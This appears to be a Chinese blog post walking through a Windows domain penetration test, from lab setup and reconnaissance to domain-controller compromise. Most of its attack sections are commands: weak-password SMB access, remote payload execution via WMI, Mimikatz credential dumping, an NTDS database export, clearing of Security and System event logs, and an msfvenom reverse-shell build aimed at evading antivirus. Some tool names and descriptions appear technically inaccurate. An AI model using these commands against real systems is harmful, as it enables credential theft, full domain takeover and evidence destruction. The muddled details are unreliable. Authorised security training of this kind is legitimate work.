一、从一次真实渗透案例说起

在2022年的某次内部渗透测试中,我们接到了任务:攻破一家大型企业的内部网络。在这次行动中,目标环境是基于 Windows 域控制的网络,拥有复杂的分层架构和数百台工作站。经过多轮侦察和攻击,我们成功从外部突破进入后,利用域渗透技术横向扩展,最终获取了域管理员权限。本文将围绕此次渗透过程,逐步展开技术细节,展示从信息收集到域控制权的完整攻击链。

这篇文章的目的仅限于授权的安全测试场景,旨在帮助安全研究人员理解 Windows 域渗透的攻击原理与防御措施。

---

二、靶场搭建指南:构建一个可控的域环境

在研究 Windows 域渗透时,一个可靠的靶场是必不可少的。以下是我们建议的实验环境:

实验架构设计

  • 域控制器(DC):一台 Windows Server 2019,负责管理 Active Directory。
  • 域内工作站:两台 Windows 10,模拟员工电脑。
  • 攻击机:Kali Linux 或 ParrotOS(可选)、Windows 系统上的 Cobalt Strike、Sliver 或自定义工具。
  • 网络模拟:通过 pfSense 或者简单虚拟机网桥实现内部网络隔离。

域控制器配置

安装 Active Directory,并创建以下角色:

  1. 普通用户:两个低权限用户(例如 alicebob)。
  2. IT管理员:一个拥有本地管理员权限的用户。
  3. 域管理员:高权限账号(例如 admin)。

设置共享资源

为了更贴近真实环境,可以在域内创建一些共享文件夹,并配置权限,比如 "财务资料" 和 "研发文档"。

黑客示意图

攻击机准备

攻击机需要安装以下工具:

  • BloodHound:用于分析域权限关系。
  • Impacket:执行各种 NTLM 协议攻击。
  • Mimikatz:经典的内存凭证提取工具。
  • Responder:用于捕获域内未认证的网络流量。

---

三、信息收集:搞清楚目标域的布局

域渗透攻击的第一步是详细的侦察,我们需要尽可能多地获取域内信息。以下是几个关键点:

扫描域成员

攻击者可以使用 ldapsearch 或者 Impacket 的 GetADUsers.py 列出域内所有用户。 <pre><code class="language-bash">python3 GetADUsers.py ACME.local/bob:&#039;password123!&#039; -dc-ip 192.168.1.10</code></pre> 运行结果会返回域内用户的详细信息,包括名字、描述字段(可能包含职位)。

收集域组信息

域组关系能揭示哪些用户具有更高权限,可以使用以下命令收集: <pre><code class="language-bash">python3 GetADGroups.py ACME.local/bob:&#039;password123!&#039; -dc-ip 192.168.1.10</code></pre>

验证共享资源

有时候域内共享文件夹会暴露敏感信息,使用 smbclient 进行测试: <pre><code class="language-bash">smbclient -U bob //192.168.1.10/Finance</code></pre> 尝试访问共享文件夹,找到潜在的攻击路径。

---

四、初始漏洞利用:从低权限到高权限的跳板

在实际测试中,我们发现了一台域内的 Windows 10 工作站启用了 SMB 服务,同时其用户使用弱密码。这为我们提供了一个绝佳的切入点。

利用弱密码登录

通过测试,我们可以直接使用低权限用户的凭证登录目标机: <pre><code class="language-bash">smbclient -U alice //192.168.1.20/C$</code></pre> 一旦成功访问目标机的文件系统,我们可以尝试植入后门。

横向移动的工具:WMI + PowerShell

攻击者可以利用 WMI 和 PowerShell 实现横向移动,以下是一个典型的横向命令: <pre><code class="language-powershell">Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList &quot;powershell.exe -ExecutionPolicy Bypass -File \\192.168.1.10\scripts\payload.ps1&quot; -ComputerName Target-PC</code></pre> 这段代码会远程执行 PowerShell 脚本,达到植入目的。

---

五、权限提升:Mimikatz 的绝地反击

权限提升是域渗透中的关键环节,这次我们使用了经典的 Mimikatz 技术。

提取内存中的凭据

首先,通过 SMB 登录到目标工作站并上传 Mimikatz: <pre><code class="language-bash">smbclient -U bob //192.168.1.20/C$ -c &quot;put mimikatz.exe&quot;</code></pre>

登录到目标机后,通过以下命令提取凭证: <pre><code class="language-plaintext">privilege::debug sekurlsa::logonpasswords</code></pre> 这会直接显示明文密码和 NTLM 哈希值。

---

六、横向扩展:解析域信任关系

域渗透中的横向扩展依赖于对域信任关系的理解。在这次行动中,我们使用 BloodHound 分析了域权限。

BloodHound 导图

通过收集域内权限关系并导入 BloodHound,可以看清楚哪条路径可以通向域管理员权限。 <pre><code class="language-bash"># 收集数据 python3 SharpHound.py -c All -d ACME.local -u alice -p Password123 -ip 192.168.1.10</code></pre>

---

黑客示意图

七、攻破域控制器:最终目标达成

通过之前的横向扩展,我们获取了域管理员权限并成功登录域控制器。这时可以直接操作 Active Directory 数据库,获取所有用户信息。

转储 Active Directory 数据

使用 ntdsutil 工具可以直接导出 AD 数据库: <pre><code class="language-powershell">ntdsutil &quot;activate instance ntds&quot; &quot;ifm&quot; &quot;create full C:\ADBackup&quot; quit</code></pre>

---

八、痕迹清除与规避防御

完成攻击后,必须清除所有操作痕迹。以下是推荐的措施:

清理日志

删除攻击痕迹时,可以手动清理事件日志: <pre><code class="language-powershell">wevtutil cl Application wevtutil cl Security wevtutil cl System</code></pre>

绕过检测

使用加密通信和免杀工具规避 EDR/AV,比如对 PowerShell payload 进行加密: <pre><code class="language-bash">msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.100 LPORT=4444 -f exe &gt; payload.exe</code></pre>

---

九、个人经验分享:攻防对抗的思考

在域渗透过程中,攻击者与防御者的博弈往往决定了最终结果。以下是一些关键经验:

  1. 权限分布:域内权限分布永远是攻击者的重点目标,越少的权限越难以被攻破。
  2. 弱点利用:任何疏忽的配置都会成为潜在漏洞,例如凭证存储、共享文件夹。
  3. 工具选择:经典工具如 BloodHound、Mimikatz 是域渗透的核心武器,但也要掌握自定义工具开发。

---

免责声明:本文所有技术仅限授权场景,滥用将面临法律责任。

黑客示意图